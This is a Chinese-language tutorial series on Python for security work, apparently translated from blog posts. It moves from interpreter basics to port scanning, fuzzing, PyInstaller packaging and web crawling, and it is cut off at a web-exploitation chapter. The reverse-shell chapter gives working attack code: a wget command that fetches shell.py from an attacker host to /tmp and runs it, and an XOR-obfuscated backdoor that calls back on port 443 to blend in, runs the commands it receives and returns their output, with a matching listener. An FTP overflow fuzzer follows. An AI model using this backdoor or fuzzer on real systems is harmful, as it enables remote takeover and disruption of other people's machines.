##入門
這將是第一個一系列關於python編程的博客文章。python是一門很是強大的語言,由於它有信息安全社區的支撐。這意味着不少工具都是由python編寫而且能夠在腳本中調用不少模塊。使用模塊的好處就是隻須要少許的代碼就可以完成所需的任務。
這篇文章假定你的系統是Linux,python版本是2.*。在寫代碼的時候你也能夠直接的寫在解釋器裏面(linux裏面輸入python便可進入),也能夠把代碼放到一個文件裏面。不少人會發現把代碼存放到文件裏面要比直接寫在解釋器上面要好不少。值得注意的是python 中強制縮進。你們在寫函數聲明,循環,if/else語句等等的時候就會發現。
**python解釋器**
在終端裏面輸入python:
```
~$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
```
輸入以後你就能夠直接在解釋器裏面寫你的代碼了。下面咱們將聲明兩個變量,而且使用type()函數查看變量的類型。假設咱們聲明瞭一個字符串和整型:
```
>>>
>>> ip = '8.8.8.8'
>>> port = 53
>>>
>>> type(ip)
<type 'str'>
>>>
>>> type(port)
<type 'int'>
>>>
```
你可使用內置的help()函數去了解一個函數的詳細。記住這一點,它能夠幫助你在學習語言的時候學習到更多的詳細內容.
```
>>>
>>> help(type)
>>>
```
有時你會想把一些變量和字符串鏈接起來而後經過腳本顯示出來。那麼你就須要使用str()函數把整型轉換成字符串類型
```
>>> ip='1.1.1.1'
>>> port=55
>>> print 'the ip is:'+ip+'and the port is:'+str(port)
the ip is:1.1.1.1and the port is:55
```
前面聲明變量的時候"IP"就是一個字符串就不須要轉換,而"port"就須要。如今你就已經知道了兩個基本的數據類型(string和integer)。如今你能夠試試使用內置函數與這兩個數據類型寫出其餘的代碼。
Python字符串容許你經過偏移值來獲取你想須要的字符串,而且能夠經過len()函數來獲取字符串的長度,它能夠幫助你更方便的操做字符串。
```
>>>
>>> domain='primalsecurity.net'
>>> domain
'primalsecurity.net'
>>> domain[0]
'p'
>>> domain[0:3]
'pri'
>>> domain[1:]
'rimalsecurity.net'
>>> len(domain)
18
```
你可使用內建的dir()函數來列出模塊定義的標識符。標識符有函數、類和變量。
```
>>> dir(ip)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
```
如今你可使用上面列舉出來的內建字符串函數,若是想知道這個函數的更多描述能夠參考前面提到的help()函數:
```
>>>
>>> help(ip.split)
>>>
>>> string = ip+':'+str(port)
>>> string
'8.8.8.8:53'
>>>
>>> string.split(':')
['8.8.8.8', '53']
```
這split函數把一個字符串經過":"切割生成一個新的列表。這是一個很是有用的字符串函數由於你可以把這個字符串裏面的有用信息提出出來。例如,你獲取到了一個ip列表,你想在這個列表裏面添加一個索引值。你也能夠刪除和添加新的值到這個列表裏面經過.append()和.remove()函數
```
>>>
>>> list = string.split(':')
>>>
>>> list
['8.8.8.8', '53']
>>>
>>> list[0]
'8.8.8.8'
>>>
>>> list.append('google')
>>> list
['8.8.8.8', '53', 'google']
>>> list.remove('google')
>>> list
['8.8.8.8', '53']
>>>
```
**Python模塊**
在上面提到過,Python模塊可以讓你用少許的代碼就可以完成你的任務,Python有許多有用的內建模塊(os,subprocess,socket,urllib,httplib,re,sys等等)和第三方模塊(cymruwhois,scapy,dpkt,spider等等).使用Python模塊很簡單"import <moduleNmae>". OS模塊是很是重要的由於你須要在你的Python代碼裏面調用系統命令:
```
>>>
>>> import os
>>>
>>> dir(os)
['EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_OK', 'NGROUPS_MAX', 'O_APPEND', 'O_ASYNC', 'O_CREAT', 'O_DIRECT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_LARGEFILE', 'O_NDELAY', 'O_NOATIME', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_RDONLY', 'O_RDWR', 'O_RSYNC', 'O_SYNC', 'O_TRUNC', 'O_WRONLY', 'P_NOWAIT', 'P_NOWAITO', 'P_WAIT', 'R_OK', 'SEEK_CUR', 'SEEK_END', 'SEEK_SET', 'ST_APPEND', 'ST_MANDLOCK', 'ST_NOATIME', 'ST_NODEV', 'ST_NODIRATIME', 'ST_NOEXEC', 'ST_NOSUID', 'ST_RDONLY', 'ST_RELATIME', 'ST_SYNCHRONOUS', 'ST_WRITE', 'TMP_MAX', 'UserDict', 'WCONTINUED', 'WCOREDUMP', 'WEXITSTATUS', 'WIFCONTINUED', 'WIFEXITED', 'WIFSIGNALED', 'WIFSTOPPED', 'WNOHANG', 'WSTOPSIG', 'WTERMSIG', 'WUNTRACED', 'W_OK', 'X_OK', '_Environ', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_copy_reg', '_execvpe', '_exists', '_exit', '_get_exports_list', '_make_stat_result', '_make_statvfs_result', '_pickle_stat_result', '_pickle_statvfs_result', '_spawnvef', 'abort', 'access', 'altsep', 'chdir', 'chmod', 'chown', 'chroot', 'close', 'closerange', 'confstr', 'confstr_names', 'ctermid', 'curdir', 'defpath', 'devnull', 'dup', 'dup2', 'environ', 'errno', 'error', 'execl', 'execle', 'execlp', 'execlpe', 'execv', 'execve', 'execvp', 'execvpe', 'extsep', 'fchdir', 'fchmod', 'fchown', 'fdatasync', 'fdopen', 'fork', 'forkpty', 'fpathconf', 'fstat', 'fstatvfs', 'fsync', 'ftruncate', 'getcwd', 'getcwdu', 'getegid', 'getenv', 'geteuid', 'getgid', 'getgroups', 'getloadavg', 'getlogin', 'getpgid', 'getpgrp', 'getpid', 'getppid', 'getresgid', 'getresuid', 'getsid', 'getuid', 'initgroups', 'isatty', 'kill', 'killpg', 'lchown', 'linesep', 'link', 'listdir', 'lseek', 'lstat', 'major', 'makedev', 'makedirs', 'minor', 'mkdir', 'mkfifo', 'mknod', 'name', 'nice', 'open', 'openpty', 'pardir', 'path', 'pathconf', 'pathconf_names', 'pathsep', 'pipe', 'popen', 'popen2', 'popen3', 'popen4', 'putenv', 'read', 'readlink', 'remove', 'removedirs', 'rename', 'renames', 'rmdir', 'sep', 'setegid', 'seteuid', 'setgid', 'setgroups', 'setpgid', 'setpgrp', 'setregid', 'setresgid', 'setresuid', 'setreuid', 'setsid', 'setuid', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe', 'spawnv', 'spawnve', 'spawnvp', 'spawnvpe', 'stat', 'stat_float_times', 'stat_result', 'statvfs', 'statvfs_result', 'strerror', 'symlink', 'sys', 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', 'tempnam', 'times', 'tmpfile', 'tmpnam', 'ttyname', 'umask', 'uname', 'unlink', 'unsetenv', 'urandom', 'utime', 'wait', 'wait3', 'wait4', 'waitpid', 'walk', 'write']
>>>
```
你能夠看到上面os模塊給你提供了不少可使用的功能函數,其中我發現我常用"os.system",我可給它傳遞一個命令,而後經過它去在系統底層執行咱們傳遞的命令.下面咱們將會執行一個命令"echo ‘UHJpbWFsIFNlY3VyaXR5Cg==’ | base64 -d":
```
>>>
>>> os.system("echo 'UHJpbWFsIFNlY3VyaXR5Cg==' | base64 -d")
Primal Security
>>>
```
**建立一個文件對象**
如今咱們將演示一些例子,如何在Python裏面從一個文件裏面讀取數據和建立一個文件。下面的這個例子演示瞭如何建立一個文件對象,而且讀取/寫入數據到這個對象裏面,一般你本身讀取一個文件的數據,而且作一些邏輯處理而後把輸出的寫到文件裏面:
```
>>>
>>> file = open('test.txt', 'w')
>>> file.write('Hello World')
>>> file.close()
>>> file = open('test.txt', 'r')
>>> file.readlines()
['Hello World']
>>>
```
在Python解釋器裏面練習上面的內容而且多加鞏固,由於這些內容在後面的章節裏面會常用,當我寫代碼的時候,我喜歡打開兩個終端,一個用於執行python解釋器,還有一個用來把邏輯寫入到腳本里面。下一章將會寫一個真實的Python腳本, 聲明定義,類和sys模塊。
##入門(2)
這一章將繼續講解一些基礎的Python腳本概念,咱們將把代碼寫入到一個腳本里面,函數,類和sys模塊。
**Python腳本框架**
下面是一個開始寫Python腳本的基礎例子,開始部分,我麼告訴系統須要使用那一個解釋器"#!/usr/bin/env python",而後咱們經過"def main():"聲明一個main函數,最後2行代碼有mian()的先執行。你能夠定義在你的腳本里面定義其它函數,這樣使得你的代碼更容易的理解和修改維護:
```
#!/usr/bin/python
import <module1>, <module2>
def myFunction():
def main():
myFunction()
if __name__=="__main__":
main()
```
**函數**
一種常見的寫法是把每一個功能函數分開寫,執行一些操做以後而後返回結果。下面的這個僞代碼演示的例子就可以很清晰的解釋這個概念:
```
# 聲明函數/邏輯處理
def MyFunction:
...do work...
return output
#在main函數裏面調用:
def main():
output = MyFunction(input)
```
**類**
Python類開始使用的時候會有點困難,由於它是教你以何種方式設計你的代碼,若是你掌握類的概念那麼你就能夠把數據和定義按照類的邏輯分組,這樣類就擁有了屬性和與之想關聯的方法。當你定義一個類以後,你能夠建立一個新的類,而後繼承以前建立的類的屬性和與之相關聯的方法,這編程就叫作面向對象編程。
若是你感到迷惑,那麼我建議你先不要去學習類,實際上,你並不須要類。但它可讓你的代碼減小冗餘。下面咱們將定義個新的類"Domain"使用"class"關鍵字,當你實例化Domain類型對象的時候,它的類型有多種方式去定義:
```
>>> import os
>>> class Domain:
... def __init__(self, domain, port, protocol):
#經過兩個內部變量存儲變量
... self.domain=domain
... self.port=port
... self.protocol=protocol
#構造一個url的方法
... def URL(self):
... if self.protocol == 'https':
... URL = 'https://'+self.domain+':'+self.port+'/'
... if self.protocol == 'http':
... URL = 'http://'+self.domain+':'+self.port+'/'
... return URL
# 調用os.system中主機命令lookup去解析域名
... def lookup(self):
... os.system("host "+self.domain)
...
>>>
>>> domain=Domain('google.com', '443', 'https')
>>>
>>> dir(domain)
['URL', '__doc__', '__init__', '__module__', 'ip', 'lookup', 'port', 'protocol']
>>> domain.URL()
'https://8.8.8.8:443/'
>>> domain.ip
'8.8.8.8'
>>> domain.port
'443'
>>> domain.protocol
'https'
>>> domain.lookup()
google.com has address 74.125.228.233
google.com has address 74.125.228.227
google.com has address 74.125.228.232
```
正如你所看到的,當你實例化一個Domian類以後你能夠運行類中的方法。再次說聲,這個概念最初的時候很容易混亂,尤爲是當你剛剛Python和編程的時候。嘗試一下去實現一個新的類在你的Python腳本里面,我發現這是掌握這個概念最好的途徑。
**使用sys處理命令行輸入值**
最好咱們來介紹一下sys模塊,它可讓你讀取從命令終端輸入的值而且幫你引入到腳本里面,它的語法很簡單,sys.agrv[0]就是一個實際的腳本名,並在命令行指定的每一個參數後面分配一個下標。下面是一個簡單的例子:
```
#!/usr/bin/python
import sys
script = sys.argv[0]
ip = sys.argv[1]
port = sys.argv[2]
print "[+] The script name is: "+script
print "[+] The IP is: "+ip+" and the port is: "+port
```
當執行這個腳本的時候,而且後面跟三個參數執行以後的結果以下:
```
~$ python sys.py 8.8.8.8 53
[+] The script name is: sys.py
[+] The IP is: 8.8.8.8 and the port is: 53
```
上面的只是一個例子,你們能夠繼續去研究其它Python模塊,由於它們可以放你用最簡單的方式解決你遇到的問題。下一章將會介紹使用Python進行網絡鏈接而且寫出一個基礎的掃描器.
##端口掃描
這一章將會演示如何經過Python的網絡鏈接來開發一個基礎的端口掃描器,咱們的設計思路是使用socket一遍又一遍的去鏈接ip與端口的組合的新值,爲了方面咱們可以快速的完成它,首先須要介紹一點新的概念,for循環:
```
>>>
>>> for port in range(1000,1024):
... print "[+] The port is: "+str(port)
...
[+] The port is: 1000
[+] The port is: 1001
[+] The port is: 1002
[+] The port is: 1003
[+] The port is: 1004
[+] The port is: 1005
[+] The port is: 1006
[+] The port is: 1007
[+] The port is: 1008
[+] The port is: 1009
[+] The port is: 1010
[+] The port is: 1011
[+] The port is: 1012
[+] The port is: 1013
[+] The port is: 1014
[+] The port is: 1015
[+] The port is: 1016
[+] The port is: 1017
[+] The port is: 1018
[+] The port is: 1019
[+] The port is: 1020
[+] The port is: 1021
[+] The port is: 1022
[+] The port is: 1023
```
注意上面那段代碼在循環體內的縮進,一般狀況下是空兩格或一個tab鍵,但這都沒有關係,只要你的整個代碼一直就能夠了。我麼所寫的那個簡短的端口掃描器的核心代碼會寫在上面代碼中的輸出塊部分,而後創建一個socket鏈接。下面的代碼就演示瞭如何使用內建的socket模塊去創建一個socket鏈接:
```
>>>
>>> import socket
>>>
>>> s = socket.socket()
>>> s.connect(('127.0.0.1s', 22))
>>> s.send('Primal Security \n')
17
>>> banner = s.recv(1024)
>>> print banner
OpenSSH
```
上面這個例子:咱們先import這socket模塊而且調用connect()函數去鏈接指定的IP地址與端口。它就會創建一個TCP鏈接(SYN/SYN-ACK/ACK)而且咱們再經過send()函數給服務器發送一個真實的數據,而後使用recv()打印出響應的內容。如今教你們如何容錯socket,對於不能打開的鏈接:
```
>>>
>>> s.connect(('127.0.0.1', 23))
Traceback (most recent call last):
File "<stdin>", line 1, in ?
File "<string>", line 1, in connect
socket.error: (111, 'Connection refused')
```
對於上面的錯誤有若干中處理方式,這裏咱們使用最簡單的一種方式:使用"try/except"循環來處理錯誤:
```
>>>
>>> try:
... s.connect(('127.0.0.1', 23))
... except: pass
...
>>>
```
如今就不會出現錯誤了,一行很簡單的代碼就讓你的程序可以繼續工做下去^_^。如今讓咱們使用以前學到的知識,使用for循環來寫一個簡單的端口掃描器:
```
>>>
>>> for port in range(20,25):
... try:
... print "[+] Attempting to connect to 127.0.0.1:"+str(port)
... s.connect(('127.0.0.1', port))
... s.send('Primal Security \n')
... banner = s.recv(1024)
... if banner:
... print "[+] Port "+str(port)+" open: "+banner
... s.close()
... except: pass
...
17
[+] Attempting to connect to 127.0.0.1:20
[+] Attempting to connect to 127.0.0.1:21
[+] Attempting to connect to 127.0.0.1:22
[+] Port 22 open: OpenSSH
[+] Attempting to connect to 127.0.0.1:23
[+] Attempting to connect to 127.0.0.1:24
[+] Attempting to connect to 127.0.0.1:25
```
上面咱們演示了使用"try/except"循環來處理當socket鏈接的時候遇到端口關閉的錯誤,同時上面還演示瞭如何使用"if"語句打印出能夠鏈接成功的端口。下面咱們將建立一個咱們掃描指定端口的掃描器,這裏的端口號,咱們使用數組來存儲,而後遍歷這一個數組:
```
>>>
>>> ports = [22, 445, 80, 443, 3389]
>>> for port in ports:
... print port
...
22
445
80
443
3389
>>>
```
若是咱們想一次性掃描多臺主機,可使用一個for循環嵌套。最外層的是主機的ip,而後裏面的for循環是端口。下面有一個基礎的例子,展現瞭如何經過循環嵌套來構建一個簡單的掃描器:
```
>>>
>>> hosts = ['127.0.0.1', '192.168.1.5', '10.0.0.1']
>>>
>>> ports = [22, 445, 80, 443, 3389]
>>>
>>> for host in hosts:
... for port in ports:
... try:
... print "[+] Connecting to "+host+":"+str(port)
... s.connect((host, port))
... s.send('Primal Security \n')
... banner = s.recv(1024)
... if banner:
... print "[+] Port "+str(port)+" open: "+banner
... s.close()
... except:pass
...
[+] Connecting to 127.0.0.1:22
[+] Port 22 open: OpenSSH
[+] Connecting to 127.0.0.1:445
[+] Connecting to 127.0.0.1:80
[+] Connecting to 127.0.0.1:443
[+] Connecting to 127.0.0.1:3389
[+] Connecting to 192.168.1.5:22
[+] Connecting to 192.168.1.5:445
[+] Connecting to 192.168.1.5:80
[+] Connecting to 192.168.1.5:443
[+] Connecting to 192.168.1.5:3389
[+] Connecting to 10.0.0.1:22
[+] Connecting to 10.0.0.1:445
[+] Connecting to 10.0.0.1:80
[+] Connecting to 10.0.0.1:443
[+] Connecting to 10.0.0.1:3389
```
正如你所看到的結果,它把hosts數組裏面的全部值都遍歷了一次ports數組,等hosts[0]掃描完成以後再掃描hosts[1]依次類推。在這個例子裏面你也能夠修改裏面的代碼,只讓它顯示出能夠打開的端口。
在這最後,你會發現仍是Nmap最好用,可是咱們將在後面的文章裏面繼續完善這個實例,你們能夠花點時間去學習一些socket模塊其餘的功能函數,你們可使用"dir(socket)"來了解更多,固然還有'help()'.
##反向shell
參考閱讀:[什麼是反向Shell](http://os.51cto.com/art/201312/424378.htm)
這篇教程將會教你使用Python編寫一個反向shell,首先咱們先演示使用Python如何利用web服務器的功能,把文件從另外一臺主機傳送過來。咱們假設你有一臺傀儡主機,你如今想下載傀儡機上面的的文件。那麼你就可使用shell(或meterpreter)去訪問這臺傀儡機,你能夠經過一行Python代碼把傀儡機創建成爲一個web服務器,而後下載傀儡機上面的文件.
建立一個python HTTP服務器能夠直接使用python的內建函數"SimpleHTTPServer"來建立,你可使用'-m'參數直接在命令行調用模塊,建立的服務器默認是監聽的8000端口,可是你能夠指定端口,直接在'SimpleHTTPServer'後面跟一個端口參數:
```
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 80 ...
```
咱們假設你沒有防火牆去阻止你的鏈接,那麼你是能夠請求到這服務器的數據。你能夠在任何目錄裏面去啓動Python HTTP服務器,這樣你就可以經過瀏覽器或者是遠程客戶端來訪問這個目錄。這裏有一個簡單的例子告訴你使用wget工具去獲取文件,可是有些時候就會常常發現你根本沒有權限在當前目錄寫入文件而且初始化這個腳本,可是你能夠改變腳本執行的目錄,下面這個例子就演示了把腳本在/tmp目錄下面執行:
```
#使用-O參數,把文件保存在其餘目錄- /tmp/ 通常可寫
wget -O /tmp/shell.py http://<attacker_ip>/shell.py
#修改權限
chmod a+x /tmp/shell.py
# 使用file命令檢查文件是否正確
file /tmp/shell.py
#執行腳本
/usr/bin/python /tmp/shell.py
```
閱讀下面的後門代碼。編碼時會使用到socket,subprocess和sys模塊,選擇subprocess模塊緣由,是由於它容許使用一個變量儲存STDOUT輸出的結果,以後能夠在代碼中的其餘部分經過調用此變量訪問保存的STDOUT數據。下面的代碼中:所創建的鏈接會監聽443端口。443端口常常用在https上,這裏使用443端口能夠起到混淆視聽的做用:
```
#!/usr/bin/python
import socket,subprocess,sys
RHOST = sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
# 從socket中接收XOR編碼的數據
data = s.recv(1024)
# XOR the data again with a '\x41' to get back to normal data
en_data = bytearray(data)
for i in range(len(en_data)):
en_data[i] ^=0x41
# 執行解碼命令,subprocess模塊可以經過PIPE STDOUT/STDERR/STDIN把值賦值給一個變量
comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
comm.wait()
STDOUT, STDERR = comm.communicate()
# 輸出編碼後的數據而且發送給指定的主機RHOST
en_STDOUT = bytearray(STDOUT)
for i in range(len(en_STDOUT)):
en_STDOUT[i] ^=0x41
s.send(en_STDOUT)
s.close()
```
上面的代碼中有些概念已經在0x1中介紹過了,可是除了以前的使用socket建立一個鏈接以外,咱們經過subprocess模塊執行了一個命令,subprocess模塊很是的方便,它容許你經過STDOUT/STDERR命令直接把值賦值給一個變量,而後咱們能夠經過命令把輸出的進行編碼而後經過socket網絡發送出去。使用OXR的好處就是你可以很容易編碼你要發送過去的數據,而後經過相同的密鑰來解碼返回的數據,最後解碼後的數據能夠以明文的形式去執行命令。
如今爲了利用好這個後門,咱們須要一個監聽腳本而且解碼後端傳輸過來的數據,讓咱們經過明文很清晰的看清楚返回的數據。下面咱們將要設計一個監聽器。來獲取反向shell的數據,而且可以對於輸入/輸出的進行解碼/編碼,爲了可以在終端上面可以很清晰的看出來,因此須要使用XOR編碼:
```
import socket
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip
while True:
command = raw_input('~$ ')
encode = bytearray(command)
for i in range(len(encode)):
encode[i] ^=0x41
client.send(encode)
en_data=client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^=0x41
print decode
client.close()
s.close()
```
這章的例子很是有趣,對於學習信息安全的朋友都喜歡shell,你們能夠對代碼作點修改讓這個腳本也可以在window上面也可以正常運行,最後你們可使用base64來代替XOR進行編碼與解碼,這些練習讓你你更加熟練的使用python.
##編寫Fuzz測試腳本
這一章將會演示教你如何寫一個屬於本身的Fuzz測試腳本,當咱們進行exploit研究和開發的時候就可使用腳本語言發送大量的測試數據給受害者機器,可是這個錯誤數據很容易引起應用程序崩潰掉。而Python卻不一樣,當程序崩潰以後,此時你的程序會暫時斷開鏈接,隨後會當即建立一個新的鏈接繼續執行。
下面咱們首先要解決的問題是應用程序如何處理用戶輸入的內容,由於在進行模糊測試的時候,咱們會不定時的想到一些新的思路而後把數據發送給受害者機器上面來測試,這基本思路就是先與服務器創建鏈接,而後發送測試數據給服務器,經過while循環語句來判斷是否成功,即便出現錯誤也會處理掉:
下面是咱們的掃描器僞代碼:
```
#導入socket,sys模塊,若是是web服務那麼還須要導入httplib,urllib等模塊
<import modules>
#設置ip/端口
#調用腳本: ./script.py <RHOST> <RPORT>
RHOST = sys.argv[1]
RPORT = sys.argv[2]
#定義你的測試數據,而且設置測試數據範圍值
buffer = '\x41'*50
#使用循環來鏈接服務而且發送測試數據
while True:
try:
# 發送測試數據
# 直到遞增到50
buffer = buffer + '\x41'*50
except:
print "Buffer Length: "+len(buffer)
print "Can't connect to service...check debugger for potential crash"
```
上面這個腳本框架可以適用於各類服務,你能夠根據你的服務(https,http,mysql,sshd)編寫特定模糊測試腳本.下面咱們演示一個基於"USER"命令的ftp服務器模糊測試腳本:
```
#導入你將要使用的模塊,這樣你就不用去本身實現那些功能函數了
import sys, socket
from time import sleep
#聲明第一個變量target用來接收從命令端輸入的第一個值
target = sys.argv[1]
#建立50個A的字符串 '\x41'
buff = '\x41'*50
# 使用循環來遞增至聲明buff變量的長度50
while True:
#使用"try - except"處理錯誤與動做
try:
# 鏈接這目標主機的ftp端口 21
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(2)
s.connect((target,21))
s.recv(1024)
print "Sending buffer with length: "+str(len(buff))
#發送字符串:USER而且帶有測試的用戶名
s.send("USER "+buff+"\r\n")
s.close()
sleep(1)
#使用循環來遞增直至長度爲50
buff = buff + '\x41'*50
except: # 若是鏈接服務器失敗,咱們就打印出下面的結果
print "[+] Crash occured with buffer length: "+str(len(buff)-50)
sys.exit()
```
上面這段代碼演示了一個基本的Fuzz測試腳本,可是值得注意的是執行上面的代碼,提交'\x41'字符可能不會讓你成功的拿下受害主機,可是你能夠嘗試組合一些其餘的字符(用戶詞典).此外還有一個更增強大的Fuzz測試工具[Spike](https://www.blackhat.com/presentations/bh-usa-02/bh-us-02-aitel-spike.ppt)和[具體介紹與演示](http://resources.infosecinstitute.com/intro-to-fuzzing/),它能夠一次性的測試大量數據,而且能讓你提升成功機率.
**練習**
你們能夠把上面的ftp測試換成http測試,這裏提示:你可能須要使用httplib/urllib.
##Python轉exe
**使用PyInstaller生成能夠執行程序**
這一章是教你們如何把本身的python腳本編譯成windows下可執行文件,它可讓你的python腳本跨平臺去運行,而且不須要去安裝python解釋器。首先咱們須要下載依賴包,cygwin(或者其餘的工具也能夠,這裏咱們使用Pywin).
Linux: sudo apt-get install python2.7 build-essential python-dev zlib1g-dev upx
Windows: http://www.activestate.com/activepython (fully packaged installer file)
安裝 [Pywin32](http://sourceforge.net/projects/pywin32/), [Setuptools](https://pypi.python.org/pypi/setuptools#downloads), [PyInstaller](http://www.pyinstaller.org/)
**安裝完成以後**
下一步咱們就運行python命令生成可執行文件:
```
python pyinstaller.py -onefile <scriptName>
```
執行上面的命令以後,導入依賴文件而且生成一個新的文件,這個文件裏面包含了三個文件<scriptName>.txt,<scriptName>.spec和<scriptName>.exe文件,其中.txt與.spec能夠刪除掉,而.exe的文件就是你須要的執行程序.
**完整的封裝執行程序**
Python腳本如今已經被編譯成了windows PE文件,而且不須要Python解釋器就可以在windows下面獨立運行,這可讓你更輕鬆的把腳本遷移到windows上面並且不用擔憂依賴包缺失的問題.
一個簡單的腳本:
```
#!/usr/bin/python
import os
os.system("echo Hello World!")
```
如今咱們把上面這個腳本編譯成爲一個能夠執行的文件:
```
c:\PathToPython\python.exe pyinstaller.py --onefile helloWorld.py
> helloWorld.exe
Hello World!
```
若是你想更詳細的瞭解這個過程,能夠參考[BACK TO THE SOURCE CODE – Forward/Reverse Engineering Python Malware](http://www.primalsecurity.net/back-to-the-source-code-forwardingreverse-engineering-python-malware/)
把你的python腳本編譯成一個能夠在windows上面能夠執行的可執行程序是頗有用的,由於它不須要你安裝python解釋器還有依賴包
你們能夠嘗試一下[0x2](https://github.com/smartFlash/pySecurity/blob/master/zh-cn/0x2.md)中的例子,把那個腳本編譯成可執行程序。
##Web請求
這篇文章將會演示如何使用python進行web請求,這裏須要幾個python的模塊來使得咱們可以更容易建立和解析web請求與響應(httplib,Mechanize,Beautiful Soup和urllib/urllib2),安裝這些模塊而且檢查這些功能函數.
**建立一個Web請求**
下面有個簡短的例子,展現了使用python的SimpleHTTPServer建立一個本地web服務器,而且創建一個請求:
**解析HTML**
如今咱們已經使用Python創建了一個web請求,如今咱們要找一個模塊來解析HTML文件。而前面咱們提到了BeautifulSoup模塊可以幫助咱們基於HTML標籤解析HTML。下面有一個例子,能夠幫助你理解如何去解析HTML文件:
BeautifulSoup對於幫助咱們解析HTML很是強大,例如你可使用BeautifulSoup內部的函數"find_all"去查找你想要解析的內容。例如:"iframes = parsed.find_all(‘iframe’)".
**實戰寫一個應用**
你們都知道,咱們可使用大量的查詢去獲取更多的web資源,在這裏,Python腳本可以自動幫你完成你的查詢而且獲取到你想要的資源.我經常使用iplist.net去反查域名,看看到底有多少個域名指向了一個IP.
當你開始寫腳本的時候,你首先得先考慮兩件事情:
一、請求URL的鏈接結構php
二、你想要什麼信息?你能夠經過HTML標籤訂位到你想要的數據部分,固然爲更加準確,你也可使用正則式去匹配.
iplist.net的結構相對簡單"http://iplist.net/<ip>/",由於咱們可以相對比較容易的從一個文件裏面使用循環把全部的IP都讀取出來,下一步就是查看源代碼,看看你最想要的是那個部分的內容,在這個例子中咱們能夠看到HTML標籤header裏面有一行```<h2>domain_name</h2>```.
那麼咱們就使用BeautifulSoup去分離這個頁面的源碼,下面是執行腳本的過程,咱們這裏只提取域名而且打印到STDOUT:
FireBug是一個分析源代碼的工具,很強加,下面你就能夠看到高亮的代碼就是咱們須要的信息;
說到這裏,這篇文章就已經就已經完成了,對於web請求你能夠去分析python到底是如何去請求的,而且如何去提取本身有用的信息而且打印到STDOUT.這裏有一個解析iplist.net比較複雜的[腳本](https://github.com/primalsecn/python_code/blob/master/iplist.py),裏面有很是完整的解析原理。你們能夠看看
##爬蟲
這一章將會介紹使用一些新的模塊(optparse,spider)去完成一個爬蟲的web應用。爬蟲其實就是一個枚舉出一個網站上面的全部連接,以幫助你建立一個網站地圖的web應用程序。而使用Python則能夠很快的幫助你開發出一個爬蟲腳本.
你能夠建立一個爬蟲腳本經過href標籤對請求的響應內容進行解析,而且能夠在解析的同時建立一個新的請求,你還能夠直接調用spider模塊來實現,這樣就不須要本身去寫那樣多的代碼了:
這裏有幾個參數你須要去了解一下,否則上面這段腳本是沒法成功運行的:"myspider(b=URL.strip(), w=200, d=5, t=5)"這個函數將會返回兩個列表:子url連接與路徑。你也能夠本身修改myspider函數裏面的參數:
b — 基本的web URL(默認: 無)
w — 抓取的數量 (默認: 200)
d — 抓取的深度層級 (默認: 5)
t — 設置線程數 (默認: 無)
這篇文章主要是先介紹一個web爬蟲的入門基礎,web資源變幻無窮。因此將來在博客的其餘文章裏面再深刻的講述攻擊web服務器一些更高級的案例;
圖中的python爬蟲腳本代碼片斷:
```
#!/usr/bin/python
from spider import webspider as myspider
import sys, optparse
def crawler(URLs):
for line in open(URLs, 'r'):
URL = line.strip()
links = myspider(b=URL.strip(), w=200, d=5, t=5)
link_count = len(links[0])
out = URL+": has a link count of "+str(link_count)
print "[+] Web Crawl Results for: "+URL
print out
for item in links[1]:
print item
def main():
# optparse模塊容許你經過參數選項來調用那段代碼
# 這裏我使用 '-r'選項而且內容會保存在URLs變量裏面
# 當使用-r參數的使用腳本會去讀取指定的文件夾
parser = optparse.OptionParser(sys.argv[0]+' '+ \
'-r <file_with URLs>')
parser.add_option('-r', dest='URLs', type='string', \
help='specify target file with URLs')
(options, args) = parser.parse_args()
URLs=options.URLs
if (URLs == None):
print parser.usage
sys.exit(0)
else:
crawler(URLs)
if __name__ == "__main__":
main()
```
* [spider模塊](https://pypi.python.org/pypi/spider.py/)
##Web掃描和利用
本章將會介紹如何使用python去構建一個簡單的web掃描器,而且寫一個簡單的exp。有些時候若是組織會發布出來一些漏洞測試的POC,而後使用者可使用這些poc去檢查本身系統的漏洞,可是在這種狀況下,若是是等poc發佈出來早覺得時已晚!
在[第5章](https://github.com/smartFlash/pySecurity/blob/master/zh-cn/0x5.md)的時候告訴了你們基本的web請求,這一章咱們講兩個新的內容:
* 檢測特定的服務器列表.
